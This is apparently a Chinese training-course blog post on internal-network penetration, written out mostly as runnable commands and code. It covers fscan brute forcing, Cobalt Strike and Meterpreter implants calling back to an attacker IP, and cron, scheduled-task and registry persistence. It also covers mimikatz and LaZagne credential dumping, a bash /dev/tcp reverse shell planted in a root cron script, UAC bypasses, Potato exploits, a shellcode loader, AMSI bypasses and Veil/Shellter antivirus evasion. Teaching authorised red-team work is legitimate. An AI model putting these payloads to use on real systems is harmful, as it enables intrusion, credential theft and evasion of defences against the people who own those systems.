内网渗透进阶:权限提升与免杀
马哥教育网络安全课程实战博客 · 第十二篇 对应课程章节:第24章 · 内网渗透之fscan、远控上线、信息搜集、权限提升和免杀
一、前言
在上一篇中,我们掌握了MSF和CS的基本使用。本篇将深入内网渗透的进阶环节:使用fscan进行综合扫描、部署远控实现持久化、全面收集内网信息、进行权限提升以及实现免杀对抗。这些技能是红队演练中从初步立足到完全控制目标的关键路径。
二、fscan综合扫描
2.1 fscan简介与安装
fscan是一款开源的内网综合扫描工具,集成了主机存活探测、端口扫描、常见服务爆破、漏洞检测等功能,是内网渗透侦察阶段的首选工具。
# 下载安装
# 攻击机 113.47.1.165
wget https://github.com/shadow1ng/fscan/releases/latest/download/fscan_amd64
chmod +x fscan_amd64
mv fscan_amd64 /usr/local/bin/fscan
# 查看帮助
fscan -h
2.2 fscan核心功能
# === 主机存活探测 + 端口扫描 ===
# 扫描单个IP
fscan -h 113.44.174.47
# 扫描网段
fscan -h 113.44.174.0/24
# 扫描多个目标
fscan -h 113.44.174.47,113.44.137.250,119.3.169.5
# === 指定端口 ===
fscan -h 113.44.174.47 -p 22,80,445,3306,3389,6379,8080
# 全端口扫描
fscan -h 113.44.174.47 -p 1-65535
# === 服务爆破 ===
# SSH爆破
fscan -h 113.44.174.47 -p 22 -userf user.txt -pwdf pass.txt
# SMB爆破
fscan -h 113.44.137.250 -p 445 -userf user.txt -pwdf pass.txt
# MySQL爆破
fscan -h 113.44.174.47 -p 3306 -userf user.txt -pwdf pass.txt
# === Web漏洞扫描 ===
fscan -h 113.44.174.47 -p 80,443,8080 -w
# === 漏洞检测 ===
# 检测MS17-010(永恒之蓝)
fscan -h 113.44.137.250 -p 445
# 检测Log4j
fscan -h 113.44.174.47 -p 80,443,8080 -w
# === 输出结果 ===
fscan -h 113.44.174.0/24 -o result.txt
2.3 fscan扫描结果解读
# 典型输出示例
___ ___
/ \ ___ ___ ___ ___ ___ / \ ___ ___
| | / \/ \/ / \/ \ | | / \/ \
| || || || || || | | || || |
\___/ \___/\___/\___/\___/\___/ \___/ \___/\___/
fscan version: 1.1.10
start infoscan
(113.44.174.47) [22] Open
(113.44.174.47) [80] Open
(113.44.174.47) [3306] Open
(113.44.174.47) [8080] Open
start vulscan
[*] (113.44.174.47) [80] WebTitle http://113.44.174.47 DVWA
[*] (113.44.174.47) [8080] WebTitle http://113.44.174.47:8080 Tomcat
[+] (113.44.137.250) [445] SMB MS17-010 vulnerable
start sshscan
[+] SSH:113.44.174.47:22:ubuntu ubuntu
[+] fscan done! targets: 3, time: 15.2s
2.4 自定义字典
# 常用用户名字典
cat > user.txt << 'EOF'
root
admin
administrator
ubuntu
test
user
guest
msfadmin
EOF
# 常用密码字典
cat > pass.txt << 'EOF'
123456
password
admin
root
123456789
Passw0rd
p@ssw0rd
admin123
test123
ubuntu
msfadmin
EOF
三、远控上线
3.1 Cobalt Strike Beacon上线
# === 生成Beacon Payload ===
# 在CS控制台中
# 方式一:直接生成exe
beacon> attacks > Packages > Windows Executable
Listener: http_listener
Output: exe
Save as: beacon.exe
# 方式二:生成PowerShell一句话
beacon> attacks > Packages > PowerShell Command
Listener: http_listener
# 生成类似以下的命令:
# powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://113.47.1.165:8080/a'))"
# 方式三:生成Shellcode
beacon> attacks > Packages > Payload Generator
Listener: http_listener
Output: C
# 生成C格式shellcode,可嵌入自定义加载器
3.2 Metasploit Payload上线
# 生成Meterpreter Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 -f elf -o shell.elf
# 传输到目标并执行
# 通过已获得的shell上传
meterpreter > upload shell.elf /tmp/shell.elf
meterpreter > shell
chmod +x /tmp/shell.elf
/tmp/shell.elf &
# 在MSF中设置监听
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > exploit -j
3.3 隐蔽执行技术
# === Linux隐蔽执行 ===
# 后台静默运行
nohup /tmp/shell.elf > /dev/null 2>&1 &
# 通过计划任务持久化
(crontab -l 2>/dev/null; echo "*/30 * * * * /tmp/shell.elf") | crontab -
# === Windows隐蔽执行 ===
# PowerShell隐藏执行
powershell.exe -windowstyle hidden -executionpolicy bypass -file beacon.ps1
# 计划任务持久化
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\beacon.exe" \
/sc minute /mo 30 /ru SYSTEM
# 注册表自启动
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
/v SystemUpdate /t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f
四、内网信息搜集
4.1 BloodHound / SharpHound 域枚举
# === BloodHound安装 ===
# 需要Neo4j图数据库
sudo apt install -y neo4j
sudo systemctl start neo4j
# 初始化Neo4j密码
sudo neo4j-admin set-initial-password magedu123
# 下载BloodHound
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
./BloodHound --no-sandbox
# === SharpHound数据收集 ===
# 在已上线的Windows主机上执行
# 通过CS执行
beacon> execute-assembly SharpHound.exe -c All --zipfilename magedu.zip
# 或通过PowerShell
beacon> powershell-import SharpHound.ps1
beacon> powershell Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\
# 下载收集结果
beacon> download C:\Temp\magedu.zip
# 导入BloodHound分析
# 在BloodHound界面中上传zip文件
# 使用预置查询分析攻击路径:
# - Find All Domain Admins
# - Shortest Path to Domain Admins
# - Find AS-REP Roastable Users
# - Find DCSync Users
4.2 凭据收集
mimikatz抓取Windows凭据
# === 通过CS执行mimikatz ===
beacon> run mimikatz
# 抓取明文密码(需要管理员权限)
beacon> mimikatz sekurlsa::logonpasswords
# 抓取LSASS中的凭据
beacon> mimikatz sekurlsa::wdigest
# 导出NTLM哈希
beacon> mimikatz lsadump::sam
# DCSync攻击(需要域控权限)
beacon> mimikatz lsadump::dcsync /domain:magedu.local /all
# 导出Kerberos票据
beacon> mimikatz kerberos::tgt
beacon> mimikatz kerberos::list /export
LaZagne收集应用密码
# LaZagne可从大量应用中提取存储的密码
# 通过CS上传并执行
beacon> upload LaZagne.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\LaZagne.exe all
# 或通过MSF
meterpreter > upload LaZagne.exe /tmp/
meterpreter > shell
/tmp/LaZagne.exe all -oN # 输出到文件
# LaZagne支持收集的应用:
# - 浏览器(Chrome, Firefox, IE)
# - 邮件客户端(Outlook, Thunderbird)
# - 数据库工具(SQL Developer)
# - SSH客户端(PuTTY)
# - FTP客户端(FileZilla)
# - WiFi密码
4.3 网络流量分析
# === 在目标机上抓包 ===
# Linux使用tcpdump
tcpdump -i eth0 -w capture.pcap -c 10000
# 分析
tcpdump -r capture.pcap -n port 445
tcpdump -r capture.pcap -n host 10.0.0.2
# Windows使用netsh
netsh trace start capture=yes maxsize=50 tracefile=C:\temp\trace.etl
# 停止抓包
netsh trace stop
# === 内网流量嗅探 ===
# 通过MSF进行ARP欺骗+嗅探
msf6 > use auxiliary/sniffer/psnuffle
msf6 > set RHOSTS 10.0.0.0/24
msf6 > run
# 通过CS进行内网嗅探
beacon> upload tcpdump.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\tcpdump.exe -i 1 -w C:\Windows\Temp\cap.pcap
五、权限提升
5.1 Linux提权
SUID提权
# 查找SUID文件
find / -perm -4000 -type f 2>/dev/null
# 常见可利用的SUID程序:
# - nmap (旧版本支持交互模式)
# - find
# - perl
# - python
# - bash
# - cp/mv (可覆盖/etc/passwd)
# 示例:find SUID提权
find . -exec /bin/sh \; -quit
# 示例:nmap SUID提权(旧版本)
nmap --interactive
nmap> !sh
# 示例:python SUID提权
python -c 'import os; os.execl("/bin/sh","sh","-p")'
sudo提权
# 查看sudo权限
sudo -l
# 常见可利用的sudo配置:
# 示例:sudo vim提权
sudo vim -c '!sh'
# 示例:sudo find提权
sudo find . -exec /bin/sh \;
# 示例:sudo perl提权
sudo perl -e 'exec "/bin/sh";'
# 示例:sudo env提权(CVE-2022-0847)
sudo env -i /bin/sh
# 使用GTFOBins查找提权方法
# https://gtfobins.github.io/
内核漏洞提权
# 查看内核版本
uname -a
# Linux ubuntu 5.15.0-25-generic ...
# 常见内核漏洞:
# - DirtyCow (CVE-2016-5195) - Linux 2.6.22 ~ 4.8.3
# - DirtyPipe (CVE-2022-0847) - Linux 5.8 ~ 5.16.10
# - CVE-2021-3493 - Ubuntu OverlayFS
# 搜索对应EXP
searchsploit dirty cow
searchsploit linux kernel 5.15
# 编译并执行
gcc -o dirtycow dirtycow.c -pthread
./dirtycow
计划任务提权
# 查看系统计划任务
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# 如果计划任务以root执行,且脚本可写
# 例如 /etc/crontab 中有:
# * * * * * root /tmp/cleanup.sh
# 如果/tmp/cleanup.sh可写
echo '#!/bin/bash' > /tmp/cleanup.sh
echo 'bash -i >& /dev/tcp/113.47.1.165/4444 0>&1' >> /tmp/cleanup.sh
chmod +x /tmp/cleanup.sh
# 在攻击机监听
nc -lvnp 4444
# 等待计划任务执行获得root shell
5.2 Windows提权
UAC绕过
# === 通过CS进行UAC绕过 ===
# 使用内置的elevate命令
beacon> elevate uac-sdclt http_listener
beacon> elevate uac-comhijack http_listener
beacon> elevate uac-eventvwr http_listener
# === 通过MSF进行UAC绕过 ===
msf6 > use exploit/windows/local/bypassuac_injection_wow64
msf6 > set SESSION 1
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 113.47.1.165
msf6 > exploit
# === 手动UAC绕过(fodhelper) ===
# 修改注册表触发fodhelper.exe以高权限执行
beacon> shell reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
beacon> shell reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c C:\Windows\Temp\beacon.exe" /f
beacon> shell fodhelper.exe
服务提权
# === 查找可利用的服务 ===
# 查找服务路径未引用的可执行文件
beacon> shell wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
# 查找服务权限
beacon> shell accesschk.exe -uwcqv "Authenticated Users" *
# 如果服务路径包含空格且可写,利用未引用服务路径
# 例如:C:\Program Files\Some Service\service.exe
# 在C:\创建Program.exe
# === 令牌窃取 ===
# 通过CS窃取高权限令牌
beacon> steal_token 1234 # PID为高权限进程
# 通过MSF窃取令牌
meterpreter > steal_token 1234
meterpreter > getsystem # 尝试获取SYSTEM权限
# === 不可写服务DLL劫持 ===
# 查找服务加载的DLL路径
beacon> shell sc qc <service_name>
# 如果DLL路径可写,替换恶意DLL
令牌模拟
# === 通过mimikatz进行令牌操作 ===
beacon> mimikatz privilege::debug
beacon> mimikatz token::elevate # 提升为SYSTEM
beacon> mimikatz token::list # 列出可用令牌
# === Potato系列提权 ===
# JuicyPotato (Windows 10 1809之前)
beacon> upload JuicyPotato.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\JuicyPotato.exe -l 1337 -p C:\Windows\Temp\beacon.exe -t *
# RoguePotato
beacon> upload RoguePotato.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\RoguePotato.exe -r 113.47.1.165 -e "C:\Windows\Temp\beacon.exe" -l 9999
# GodPotato (新版Windows)
beacon> upload GodPotato.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\GodPotato.exe -cmd "C:\Windows\Temp\beacon.exe"
六、免杀技术(AV Evasion)
6.1 Shellcode编码与加密
# === msfvenom编码免杀 ===
# 单一编码器
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 \
-e x64/xor_dynamic -f exe -o encoded.exe
# 多编码器链式编码
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 \
-e x64/xor_dynamic -i 3 \
-f raw | msfvenom -e x64/zutto_dekiru -i 5 \
-f raw | msfvenom -e x64/call4_dword_xor -i 7 \
-f exe -o multi_encoded.exe
# === 自定义Shellcode加载器 ===
# C语言加载器示例
// shellcode_loader.c - 自定义加载器
#include <windows.h>
#include <stdio.h>
// XOR解密函数
void xor_decrypt(unsigned char* data, int len, unsigned char key) {
for (int i = 0; i < len; i++) {
data[i] ^= key;
}
}
int main() {
// XOR加密后的shellcode(密钥:0x55)
unsigned char shellcode[] = "\x55\x55\x55..."; // 省略
int shellcode_len = sizeof(shellcode) - 1;
// 解密
xor_decrypt(shellcode, shellcode_len, 0x55);
// 分配内存
void* exec = VirtualAlloc(0, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec == NULL) return -1;
// 复制shellcode
memcpy(exec, shellcode, shellcode_len);
// 执行
((void(*)())exec)();
return 0;
}
# 编译加载器
x86_64-w64-mingw32-gcc shellcode_loader.c -o loader.exe -l ws2_32
6.2 AMSI绕过
AMSI(Anti-Malware Scan Interface)是Windows 10引入的脚本扫描接口,PowerShell等脚本引擎会通过AMSI检测恶意代码。
# === AMSI绕过方法一:修改amsi.dll上下文 ===
# 在PowerShell中执行
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# === AMSI绕过方法二:内存修补 ===
# 通过CS执行
beacon> powershell $a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$b=$a.GetField('amsiContext','NonPublic,Static');$c=$a.GetField('amsiSession','NonPublic,Static');[IntPtr]$d=$b.GetValue($null);[IntPtr]$e=$c.GetValue($null);$f=New-Object byte[](6);[Runtime.InteropServices.Marshal]::Copy([IntPtr]::Add($d,0),$f,0,6);[Runtime.InteropServices.Marshal]::WriteInt32($d,0x41414141)
# === AMSI绕过方法三:DLL劫持 ===
# 将伪造的amsi.dll放在PowerShell目录下
# 伪造的amsi.dll中AmsiScanBuffer函数始终返回AMSI_RESULT_CLEAN
// 伪造amsi.dll的核心函数
#include <windows.h>
// AMSI_RESULT_CLEAN = 0
HRESULT WINAPI AmsiScanBuffer(
PVOID amsiContext,
PVOID buffer,
ULONG length,
ULONG contentName,
PVOID session,
AMSI_RESULT* result
) {
*result = 0; // AMSI_RESULT_CLEAN
return S_OK;
}
HRESULT WINAPI AmsiScanString(
PVOID amsiContext,
LPCWSTR string,
ULONG length,
LPCWSTR contentName,
PVOID session,
AMSI_RESULT* result
) {
*result = 0;
return S_OK;
}
6.3 代码签名与混淆
# === 代码签名 ===
# 生成自签名证书
openssl req -x509 -newkey rsa:2048 \
-keyout key.pem -out cert.pem \
-days 365 -nodes \
-subj "/CN=Magedu Software"
# 转换为PFX格式
openssl pkcs12 -export -out cert.pfx \
-inkey key.pem -in cert.pem
# 使用osslsigncode签名
osslsigncode sign -pkcs12 cert.pfx -pass magedu \
-in payload.exe -out signed.exe
# === 代码混淆 ===
# Python代码混淆
pip install pyarmor
pyarmor obfuscate payload.py
# PowerShell代码混淆
# 使用Invoke-Obfuscation
Import-Module Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString('http://113.47.1.165:8080/a') } -Command All
# C#代码混淆
# 使用ConfuserEx
# 配置混淆项目文件,进行控制流混淆、字符串加密等
6.4 Veil免杀框架
# === Veil安装 ===
sudo apt install -y veil
sudo veil --setup --force --silent
# === Veil生成免杀Payload ===
veil
# 选择Evasion模式
Veil> evasion
# 列出可用Payload
Veil/Evasion> list
# 使用C语言Meterpreter Payload
Veil/Evasion> use 1 # 或 use c/meterpreter/rev_tcp
Veil/Evasion/c/meterpreter/rev_tcp> set LHOST 113.47.1.165
Veil/Evasion/c/meterpreter/rev_tcp> set LPORT 4444
Veil/Evasion/c/meterpreter/rev_tcp> generate
# 使用Python Payload
Veil/Evasion> use 7 # 或 use py/meterpreter/rev_tcp
Veil/Evasion/py/meterpreter/rev_tcp> set LHOST 113.47.1.165
Veil/Evasion/py/meterpreter/rev_tcp> set LPORT 4444
Veil/Evasion/py/meterpreter/rev_tcp> generate
# 生成的文件在 /var/lib/veil/output/ 目录
# Veil使用多种编码和加密技术绕过AV检测
6.5 Shellter免杀工具
# === Shellter安装 ===
# Shellter是动态代码注入工具,将shellcode注入合法PE文件
sudo apt install -y shellter
# === Shellter使用 ===
shellter
# 选择操作模式
# A - 自动模式
# M - 手动模式
# 选择注入目标(合法程序)
# 例如:ping.exe, notepad.exe
# 需要一个32位的合法PE文件
# 选择Payload
# 1 - Meterpreter Reverse TCP (MSF)
# 2 - Custom Shellcode
# 设置LHOST和LPORT
# LHOST: 113.47.1.165
# LPORT: 4444
# 生成注入后的文件
# Shellter会在合法程序中注入shellcode
# 由于使用合法程序作为载体,行为特征更隐蔽
# 在MSF中设置监听
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > exploit -j
6.6 免杀效果验证
# === 在线查杀 ===
# 将生成的payload上传到以下平台检测:
# - https://www.virustotal.com/
# - https://www.hybrid-analysis.com/
# - https://www.joesandbox.com/
# 注意:上传到VirusTotal后样本会被分享给AV厂商
# 实际红队中应使用本地沙箱检测
# === 本地检测 ===
# 使用Windows Defender本地检测
# 将payload传输到安装了Defender的测试机
# 观察是否被检测
# 查看Defender检测结果
Get-MpThreatDetection
Get-MpThreat
# 临时关闭Defender用于测试(需管理员权限)
Set-MpPreference -DisableRealtimeMonitoring $true
七、总结
本篇深入讲解了内网渗透的进阶技术:
- fscan综合扫描:掌握了主机发现、端口扫描、服务爆破、漏洞检测的一体化扫描能力
- 远控上线:学会了通过CS Beacon和MSF Payload实现目标持久化控制
- 信息搜集:使用BloodHound进行域枚举,mimikatz和LaZagne收集凭据,网络流量分析
- 权限提升:掌握了Linux(SUID、sudo、内核漏洞、计划任务)和Windows(UAC绕过、服务提权、令牌模拟)的提权方法
- 免杀技术:学习了Shellcode编码、AMSI绕过、代码签名混淆、Veil和Shellter等免杀框架的使用
这些技术组合使用,构成了完整的内网渗透杀伤链:侦察 → 立足 → 提权 → 横向 → 持久化 → 免杀对抗。
免责声明:本文所有技术内容仅用于授权安全测试和教学目的。未经授权对他人系统进行渗透测试属于违法行为。请在合法授权范围内使用所学技术。